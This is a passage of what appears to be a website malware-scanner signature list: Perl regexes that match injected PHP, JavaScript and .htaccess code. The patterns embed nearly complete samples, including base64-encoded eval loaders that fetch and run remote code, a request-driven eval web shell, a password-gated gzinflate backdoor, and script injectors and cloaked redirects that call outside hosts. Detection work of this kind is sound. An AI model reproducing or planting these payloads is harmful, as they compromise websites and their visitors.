    qr/<\?php\s+?\/\*\*\/\s+?eval\(base64_decode\("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic\/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGR
    qr/<script\s+?type="text\/javascript">\s+?if\s+?\(typeof\(redef_colors\)=="undefined"\)\s+?\{\s+?var\s+?div_colors\s+?=\s+?new\s+?Array\('\#4b8272',\s+?'\#81787f',\s+?'\#832f83',\s+?'\#887f74',\s+?'\#4c3183',\s+?'\#748783',\s+?'\#3e7970',\s+?'\#857082',\s+?'\#728178',\s+?'\#7f8331',\s+?'\#2f8281',\s+?'\#724c31',\s+?'\#778383',\s+?'\#7f493e',\s+?'\#3e7277',\s+?'\#70737e',\s+?'\#7d3d7d',\s+?'\#7b3e7d',\s+?'\#748682',\s+?'\#3e7980',\s+?'\#847481',\s+?'\#883d7c',\s+?'\#787d3d',\s+?'\#7f777f',\s+?'\#314d00'\);\s+?var\s+?redef_colors\s+?=\s+?1;\s+?var\s+?colors_picked\s+?=\s+?0;\s+?function\s+?div_pick_colors\(t,styled\)\s+?\{\s+?var\s+?s\s+?=\s+?"";\s+?for\s+?\(j=0;j<t\.length;j\+\+\)\s+?\{\s+?var\s+?c_rgb\s+?=\s+?t\[j\];\s+?for\s+?\(i=1;i<7;i\+\+\)\s+?\{\s+?var\s+?c_clr\s+?=\s+?c_rgb\.substr\(i\+\+,2\);\s+?if\s+?\(c_clr\!="00"\)\s+?s\s+?\+=\s+?String\.fromCharCode\(parseInt\(c_clr,16\)-15\);\s+?\}\s+?\}\s+?if\s+?\(styled\)\s+?\{\s+?s\s+?=\s+?s\.substr\(0,36\)\s+?\+\s+?s\.substr\(36,\(s\.length-38\)\)\s+?\+\s+?div_colors\[1\]\.substr\(0,1\)\+new\s+?Date\(\)\.getTime\(\)\s+?\+\s+?s\.substr\(\(s\.length-2\)\)\s+?\+\s+?s\.substr\(0,1\)\s+?\+\s+?s\.substr\(18,1\)\+s\.substr\(1,6\)\+s\.substr\(\(s\.length-1\)\);\s+?\}\s+?else\s+?\{\s+?s\s+?=\s+?s\.substr\(36,\(s\.length-38\)\)\s+?\+\s+?div_colors\[1\]\.substr\(0,1\)\+new\s+?Date\(\)\.getTime\(\);\s+?\}\s+?return\s+?s;\s+?\}\s+?function\s+?try_pick_colors\(\)\s+?\{\s+?try\s+?\{\s+?if\(\!document\.getElementById\s+?\|\|\s+?\!document\.createElement\)\{\s+?document\.write\(div_pick_colors\(div_colors,1\)\);\s+?\}\s+?else\s+?\{\s+?var\s+?new_cstyle=document\.createElement\("script"\);\s+?new_cstyle\.type="text\/javascript";\s+?new_cstyle\.src=div_pick_colors\(div_colors,0\);\s+?document\.getElementsByTagName\("head"\)\[0\]\.appendChild\(new_cstyle\);\s+?\}\s+?\}\s+?catch\(e\)\s+?\{\s+?\}\s+?try\s+?\{\s+?check_colors_picked\(\);\s+?\}\s+?catch\(e\)\s+?\{\s+?setTimeout\("try_pick_colors\(\)",\s+?500\);\s+?\}\s+?\}\s+?try_pick_colors\(\);\s+?\}\s+?<\/script><script\s+?type="text\/javascript">\s+?<\/script><script\s+?type="text\/javascript">\s+?<\/script>/is,
	qr/<\!--([A-z0-9]{6}).+?\/\1-->/is,
    qr/\/\*([A-z0-9]{6}).+?\/\1\*\//is,
    qr/<\?php\s+?\$.+?\s+?=\s+?".+?";\s+?if\(isset\(\$_REQUEST\[\'.+?\'\]\)\)\s+?\{\s+?\$.+?\s+?=\s+?\$_REQUEST\[\'.+?\'\];\s+?eval\(\$.+?\);\s+?exit\(\);\s+?\}\s+?if\(isset\(\$_REQUEST\[\'.+?\'\]\)\)\s+?\{\s+?\$.+?\s+?=\s+?\$_REQUEST\[\'.+?\'\];\s+?\$.+?\s+?=\s+?\$_REQUEST\[\'.+?\'\];\s+?\$.+?\s+?=\s+?fopen\(\$.+?,\s+?'w'\);\s+?\$.+?\s+?=\s+?fwrite\(\$.+?,\s+?\$.+?\);\s+?fclose\(\$.+?\);\s+?echo\s+?\$.+?;\s+?exit\(\);\s+?\}\s+?\?>/is,
    qr/<\?php\s+?error_reporting\(E_ERROR\);\s+?\$ip\s+?=\s+?\$_SERVER\['HTTP_X_REAL_IP'\]\s+?\?\s+?\$_SERVER\['HTTP_X_REAL_IP'\]\s+?:\s+?\$_SERVER\['REMOTE_ADDR'\];\s+?\$url\s+?=\s+?isset\(\$_SERVER\['QUERY_STRING'\]\)\s+?\?\s+?\$_SERVER\['QUERY_STRING'\]\s+?:\s+?'';\s+?if\s+?\(substr\(\$ip,\s+?0,\s+?7\)\s+?==\s+?"217\.69\."\)\s+?\{\s+?\$url\s+?=\s+?"www\..+?\/cgi-bin\/random\.pl\?\$url";\s+?\}\s+?else\s+?\{\s+?\#\$url\s+?=\s+?"duckduckgo\.com\/\?q=google_sux";\s+?\$url\s+?=\s+?".+?\/index\.php\?wm_id=224";\s+?\}\s+?header\("Location:\s+?http:\/\/\$url"\);\s+?echo\s+?"<meta\s+?http-equiv=\\"content-type\\"\s+?content=\\"text\/html;\s+?charset=UTF-8\\">\\n";\s+?echo\s+?"<html><head><meta\s+?http-equiv=\\"refresh\\"\s+?content=\\"0;url=http:\/\/\$url\\"><\/head><\/html>";\s+?\?>/is,
    qr/\#6eeba7\#\s+?if\(empty\(\$x\)\)\s+?\{\s+?\$x\s+?=\s+?"<script\s+?type=\\"text\/javascript\\"\s+?src=\\"http:\/\/magic-philipp\.de\/themes\/relay\.php\?id=\$frameid\\"><\/script>";\s+?echo\s+?\$x;\s+?\}\s+?\#\/6eeba7\#/is,
    qr/<\?php\s+\$.+?=\s+\'\)##-\!#~<#\%.+?explode\(chr\(\(.+?-1;\s+\?>/is,
    qr/<\?php\s+?\$wp__wp='base'\.\(32\*2\)\.'_de'\.'code';\$wp__wp=\$wp__wp\(str_replace\("\\n",\s+?'',.+?\)\);\$wp_wp=isset\(\$_POST\['wp_wp'\]\)\?\$_POST\['wp_wp'\]:\(isset\(\$_COOKIE\['wp_wp'\]\)\?\$_COOKIE\['wp_wp'\]:NULL\);if\(\$wp_wp\!==NULL\)\{\$wp_wp=md5\(\$wp_wp\)\.substr\(md5\(strrev\(\$wp_wp\)\),0,strlen\(\$wp_wp\)\);for\(\$wp___wp=0;\$wp___wp<15180;\$wp___wp\+\+\)\{\$wp__wp\[\$wp___wp\]=chr\(\(\s+?ord\(\$wp__wp\[\$wp___wp\]\)-ord\(\$wp_wp\[\$wp___wp\]\)\)\%256\);\$wp_wp\.=\$wp__wp\[\$wp___wp\];\}if\(\$wp__wp=\@gzinflate\(\$wp__wp\)\)\{if\(isset\(\$_POST\['wp_wp'\]\)\)\@setcookie\('wp_wp',\s+?\$_POST\['wp_wp'\]\);\$wp___wp=create_function\('',\$wp__wp\);unset\(\$wp__wp,\$wp_wp\);\$wp___wp\(\);\}\}\?><form\s+?action=""\s+?method="post"><input\s+?type="text"\s+?name="wp_wp"\s+?value=""\/><input\s+?type="submit"\s+?value="\&gt;"\/><\/form>/is,
    qr/<\?php.+?##-\!#~<#.+?explode\(chr\(\(.+?-1;\s+\?>/is,
    qr/<script>parent\.location\.href="http:\/\/.+?=wl_con"<\/script>/is,
    qr/<\?php\s+?\$y3nQxfe='a6Z'\|Yd;\$PhFt=sn_\&'W\$\]';\$JPOgyS3x81W='\)'\.ce5Tm9eD\.';`d'\^jHYb\.'-4jG`i\."';'ntMF'\.\s+?'_';\$vwiHwWh='\/_\!_\&\&~w-o\s+?y\^\}'\&'oS\!\{'\.nw_E\.'\}o`2lW';\$NdjM4VBql7='H\@D'\|"\@TT";'DO'\.\s+?'FU\$3a';\$but8Of9Q0='P\['\|'\@N';\$KH3E=A\|'\@';\$EC=a\|'\s+?';\$ECnQ1='L\}Vy_'\&yTUT_;'NNFiU'\.\s+?'3zw\.';\$PYVTTH1ghn4=X_H3FQ\.'\@'\.TPDOIA\|'HO\@"'\.GOCAST\.'\@MD';\$RN='\@'\.KSUB\|\/\*KMFFp'\.\s+?'yC\*\/RVSQB;\$HGovx='\]YP'\&tyq;\$RCkJC=E\|E;\$Pgi0WB=\('\|qtE\.3\(1W\$b'\|'h\|C,BA`'\.\/\*Zy_j'\.\s+?'m6\*\/t6mL\)\&\('\(\#'\.zuxSxz\.'\%iO'\|'Fe\$tV\#'\.ZtAxk\);\$pz=\('>dh'\&'~\[z'\)\^\$PhFt;'xhxsJC1'\.\s+?'9L\!a=\@uh';\$qjGLWn=\(kutmfv\&'ue=\%6o'\)\|\('\&'\.wPuhv\&'~'\.aDoKr\);\$p1nh=\(\#w9iBaQmWhDO'\.\s+?'3XX\s+?"\(2\@H3-"'\|'1IA0\&\+\&R\@0\$\#'\)\^\$JPOgyS3x81W;\$Fd2G5mbzC=\('\|3m\?y\[\?d_\{WM"7'\&'N~\]w'\.\s+?'\}w-\+'\._0FEz6\)\^\$vwiHwWh;\$zx9lwzd2I=\('B\@\%\@0AVB\s+?h"\$\(,L'\|"`R\\\$\!\\\$\@R\@\!\@\!d\@\\\$\@"\)\|\(\#'\.\s+?'A\s+?ea\@dQ\$T\&\@\$i\#\s+?'\|'\@0D`D`H\$P\s+?\@4`G"'\);\$EfFb9Q53k=\(ht6p\.'~\@tX\s+?>M\#\*\!\}\%\%\%\}'\.\/\*CO1s'\.\s+?'v\{mewh\+\#n\*\/N1fg\.'\/7'\.S5bc\.'\*\%\#'\^'3XxZ\)'\.kPjtpzprxVXbb\.'\/6\}'\.WHwl6g\.'\]6i\}d'\)\^\(\#'\.\s+?'"B\{'\.H4FEP2\.'\s+?'\.QbB2LJ\.'\$\!\+'\.LqBI\.'`nP\(UdP\.\#'\|'bNP\@0'\.NDS0\.',PCh\(MI"\%'\.\/\*O4iC'\.\s+?'\&TO\]c\*\/jH5RHaOBcLH\.'\#a\s+?'\);\$D03dZjC1jBU=\('\/\@<B'\|'8B1V'\)\^\('\@0D"'\|'Z:T\s+?'\);if\(\/\*F'\.\s+?'\*\+VKI<D\$\*\/\$Pgi0WB\(\$pz\(\$qjGLWn\(\$NdjM4VBql7\.\$but8Of9Q0\.\$KH3E\)\),\$EfFb9Q53k\)\)\/\*lt'\.\s+?'eq8P\#qCn\*\/\$p1nh\(\('\.\s+?\*e'\|'\/a-e'\),\$D03dZjC1jBU,\$EC\);\$Fd2G5mbzC\(\$zx9lwzd2I\(\/\*q7Q'\.\s+?'\{t\*\/false,\$qjGLWn\(\$ECnQ1\.\$PYVTTH1ghn4\.\$RN\.\$HGovx\.\$RCkJC\)\)\);\#h\]S0ArV\(uVJ5\)_:='\.\s+?'b\%drn:=xyG-7Ny6~9\+QMZqF7_y4u\!W-lG12B\|<8Xh\@_Jp\)U6wk\.za70';/is,
    qr/\$cookey\s+=\s+\".+?preg_replace\(\".+?x3b\"\);/is,
    qr/eval\(gzinflate\(base64_decode\(\'bVRRb9owEH4eEv\/hGrVzUhGYtmkPhYCqrdNe1geQJlXTFDnxkVh17Mx2YLTiv8+JA0W0kSCXO993d999yWI+Y3wDnCVrpSxqSTdg7E5gQiz+szEVvJA3Atd2SubDwWxRl\/Vw8G5yDbdgOMOMauASbIngARbwgPUYHlQDOZX+1xirKv6ELhGuYaca3R+GLbels50jV6KppAG1dk5WoDXj7vjE\/buntC8WAvGpBKLpcLBoe5q4CfwYuaDGJEEukGpkwdyH3JGT4PcuPXBecNfrSMylfImfXjMKpcZ1EnQsQCZUweVahUQb8zFttCDRFBbz4IDn3LGlRcxzJQOw3DpWg+Vq1fZF38J\/3Uu7g7aVWX2Ywm2q5IyhPKyJcVMLuruRSqLbke9tOCiEyqiAS5T5N+mY4uvQ23CRACHRM\/gGOqeqqFti4iC1xk1YPLm5BLUYZtTgl88pw1wx7AGiyI3ZJ1Mh1BYZOwC8oE37E3mj9Qr1BvU9rdDXSDW6lnMMg+12Ow5GQTC6TFd3y193y9\/E39P725935E\/Uw7TdnyMlZ+Wj5xdKNVZqgynNLVcyJNs67VUzIiKv6tTptcJU1W3YpCgZOc60d\/d9a7jHxVFBvfRPiO0g\/Jp6ek88SdJSPBxgXiq49LV\/2Eq0RfYoDB5ipXO6+k4cuyPLJzjt\/Hsv80MHbpZOeKqxYTRdzGGW6V5MX1W907woLbzPnTkFn9EVYu06yQPxKWcClo5QL94x3AoByxbEwBJNyzcbzyb18UXr35tT+7VuM5o\/Flo1kgVnCSeEnnlm3Wt8mNFzFnZNvZF7Ecf9FLXm0q7DNA3JFYO\/DWqOZgxXBozjUzIzJiMgj02mef5IohG0XxPZVGl\/NHQuyyvUqftK1eGHEXyKuqoQx13NTLFdZ7S7mv8H\'\)\)\);/is,
    qr/if\s+?\(empty\(\$rqyn\)\)\s+?\{\s+?if\s+?\(\(substr\(trim\(\$_SERVER\['REMOTE_ADDR'\]\),\s+?0,\s+?6\)\s+?==\s+?'74\.125'\)\s+?\|\|\s+?preg_match\("\/\(googlebot\|msnbot\|yahoo\|search\|bing\|ask\|indexer\)\/i",\s+?\$_SERVER\['HTTP_USER_AGENT'\]\)\)\s+?\{\s+?\}\s+?else\s+?\{\s+?error_reporting\(0\);\s+?\@ini_set\('display_errors',\s+?0\);\s+?if\s+?\(\!function_exists\('__url_get_contents'\)\)\s+?\{\s+?function\s+?__url_get_contents\(\$remote_url,\s+?\$timeout\)\s+?\{\s+?if\s+?\(function_exists\('curl_exec'\)\)\s+?\{\s+?\$ch\s+?=\s+?curl_init\(\);\s+?curl_setopt\(\$ch,\s+?CURLOPT_URL,\s+?\$remote_url\);\s+?curl_setopt\(\$ch,\s+?CURLOPT_RETURNTRANSFER,\s+?true\);\s+?curl_setopt\(\$ch,\s+?CURLOPT_CONNECTTIMEOUT,\s+?\$timeout\);\s+?curl_setopt\(\$ch,\s+?CURLOPT_TIMEOUT,\s+?\$timeout\);\s+?\/\/timeout\s+?in\s+?seconds\s+?\$_url_get_contents_data\s+?=\s+?curl_exec\(\$ch\);\s+?curl_close\(\$ch\);\s+?\}\s+?elseif\s+?\(function_exists\('file_get_contents'\)\s+?\&\&\s+?ini_get\('allow_url_fopen'\)\)\s+?\{\s+?\$ctx\s+?=\s+?\@stream_context_create\(array\('http'\s+?=>\s+?array\(\s+?'timeout'\s+?=>\s+?\$timeout,\s+?\)\s+?\)\);\s+?\$_url_get_contents_data\s+?=\s+?\@file_get_contents\(\$remote_url,\s+?false,\s+?\$ctx\);\s+?\}\s+?elseif\s+?\(function_exists\('fopen'\)\s+?\&\&\s+?function_exists\('stream_get_contents'\)\)\s+?\{\s+?\$handle\s+?=\s+?\@fopen\(\$remote_url,\s+?"r"\);\s+?\$_url_get_contents_data\s+?=\s+?\@stream_get_contents\(\$handle\);\s+?\}\s+?else\s+?\{\s+?\$_url_get_contents_data\s+?=\s+?__file_get_url_contents\(\$remote_url\);\s+?\}\s+?return\s+?\$_url_get_contents_data;\s+?\}\s+?\}\s+?if\s+?\(\!function_exists\('__file_get_url_contents'\)\)\s+?\{\s+?function\s+?__file_get_url_contents\(\$remote_url\)\s+?\{\s+?if\s+?\(preg_match\('\/\^\(\[a-z\]\+\):\\\/\\\/\(\[a-z0-9-\.\]\+\)\(\\\/\.\*\$\)\/i',\s+?\$remote_url,\s+?\$matches\)\s+?\)\s+?\{\s+?\$protocol\s+?=\s+?strtolower\(\$matches\[1\]\);\s+?\$host\s+?=\s+?\$matches\[2\];\s+?\$path\s+?=\s+?\$matches\[3\];\s+?\}\s+?else\s+?\{\s+?\/\/\s+?Bad\s+?remote_url-format\s+?return\s+?FALSE;\s+?\}\s+?if\s+?\(\$protocol\s+?==\s+?"http"\)\s+?\{\s+?\$socket\s+?=\s+?\@fsockopen\(\$host,\s+?80,\s+?\$errno,\s+?\$errstr,\s+?\$timeout\);\s+?\}\s+?else\s+?\{\s+?\/\/\s+?Bad\s+?protocol\s+?return\s+?FALSE;\s+?\}\s+?if\s+?\(\!\$socket\)\s+?\{\s+?\/\/\s+?Error\s+?creating\s+?socket\s+?return\s+?FALSE;\s+?\}\s+?\$request\s+?=\s+?"GET\s+?\$path\s+?HTTP\/1\.0\\r\\nHost:\s+?\$host\\r\\n\\r\\n";\s+?\$len_written\s+?=\s+?\@fwrite\(\$socket,\s+?\$request\);\s+?if\s+?\(\$len_written\s+?===\s+?FALSE\s+?\|\|\s+?\$len_written\s+?\!=\s+?strlen\(\$request\)\)\s+?\{\s+?\/\/\s+?Error\s+?sending\s+?request\s+?return\s+?FALSE;\s+?\}\s+?\$response\s+?=\s+?"";\s+?while\s+?\(\!\@feof\(\$socket\)\s+?\&\&\s+?\(\$buf\s+?=\s+?\@fread\(\$socket,\s+?4096\)\)\s+?\!==\s+?FALSE\)\s+?\{\s+?\$response\s+?\.=\s+?\$buf;\s+?\}\s+?if\s+?\(\$buf\s+?===\s+?FALSE\)\s+?\{\s+?\/\/\s+?Error\s+?reading\s+?response\s+?return\s+?FALSE;\s+?\}\s+?\$end_of_header\s+?=\s+?strpos\(\$response,\s+?"\\r\\n\\r\\n"\);\s+?return\s+?substr\(\$response,\s+?\$end_of_header\s+?\+\s+?4\);\s+?\}\s+?\}\s+?if\s+?\(empty\(\$__var_to_echo\)\s+?\&\&\s+?empty\(\$remote_domain\)\)\s+?\{\s+?\$_ip\s+?=\s+?\$_SERVER\['REMOTE_ADDR'\];\s+?\$rqyn\s+?=\s+?"http:\/\/yellowstonecc\.com\/3tPLNcgJ\.php";\s+?\$rqyn\s+?=\s+?__url_get_contents\(\$rqyn\."\?a=\$_ip",\s+?1\);\s+?if\s+?\(strpos\(\$rqyn,\s+?'http:\/\/'\)\s+?===\s+?0\)\s+?\{\s+?\$__var_to_echo\s+?=\s+?'<script\s+?type="text\/javascript"\s+?src="'\s+?\.\s+?\$rqyn\s+?\.\s+?'\?id=2494322"><\/script>';\s+?echo\s+?\$__var_to_echo;\s+?\}\s+?\}\s+?\}\s+?\}/is,
    qr/eval\(base64_decode\("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0\+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw\/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJyam5rbmtqYWRnZC5yZWJhdGVzcnVsZS5uZXQvIik7IGV4aXQoKTsgfSB9IH0gfSB9IH0gfQ=="\)\);/is,
    qr/<IfModule\s+?mod_rewrite\.c>\s+?RewriteEngine\s+?On\s+?RewriteCond\s+?\%\{HTTP_REFERER\}\s+?\^\.\*\(abacho\|abizdirectory\|about\|acoon\|alexana\|allesklar\|allpages\|allthesites\|alltheuk\|alltheweb\|altavista\|america\|amfibi\|aol\|apollo7\|aport\|arcor\|ask\|atsearch\|baidu\|bellnet\|bestireland\|bhanvad\|bing\|blog\|bluewin\|botw\|brainysearch\|bricabrac\|browseireland\|chapu\|claymont\|click4choice\|clickey\|clickz\|clush\|confex\|cyber-content\|daffodil\|devaro\|dmoz\|dogpile\|ebay\|ehow\|eniro\|entireweb\|euroseek\|exalead\|excite\|express\|facebook\|fastbot\|filesearch\|findelio\|findhow\|finditireland\|findloo\|findwhat\|finnalle\|finnfirma\|fireball\|flemiro\|flickr\|freenet\|friendsreunited\|galaxy\|gasta\|gigablast\|gimpsy\|globalsearchdirectory\|goo\|google\|goto\|gulesider\|hispavista\|hotbot\|hotfrog\|icq\|iesearch\|ilse\|infoseek\|ireland-information\|ixquick\|jaan\|jayde\|jobrapido\|kataweb\|keyweb\|kingdomseek\|klammeraffe\|km\|kobala\|kompass\|kpnvandaag\|kvasir\|libero\|limier\|linkedin\|live\|liveinternet\|lookle\|lycos\|mail\|mamma\|metabot\|metacrawler\|metaeureka\|mojeek\|msn\|myspace\|netscape\|netzindex\|nigma\|nlsearch\|nol9\|oekoportal\|openstat\|orange\|passagen\|pocketflier\|qp\|qq\|rambler\|rtl\|savio\|schnellsuche\|search\|search-belgium\|searchers\|searchspot\|sfr\|sharelook\|simplyhired\|slider\|sol\|splut\|spray\|startpagina\|startsiden\|sucharchiv\|suchbiene\|suchbot\|suchknecht\|suchmaschine\|suchnase\|sympatico\|telfort\|telia\|teoma\|terra\|the-arena\|thisisouryear\|thunderstone\|tiscali\|t-online\|topseven\|twitter\|ukkey\|uwe\|verygoodsearch\|vkontakte\|voila\|walhello\|wanadoo\|web\|webalta\|web-archiv\|webcrawler\|websuche\|westaustraliaonline\|wikipedia\|wisenut\|witch\|wolong\|ya\|yahoo\|yandex\|yell\|yippy\|youtube\|zoneru\)\\\.\(\.\*\)\s+?RewriteRule\s+?\^\(\.\*\)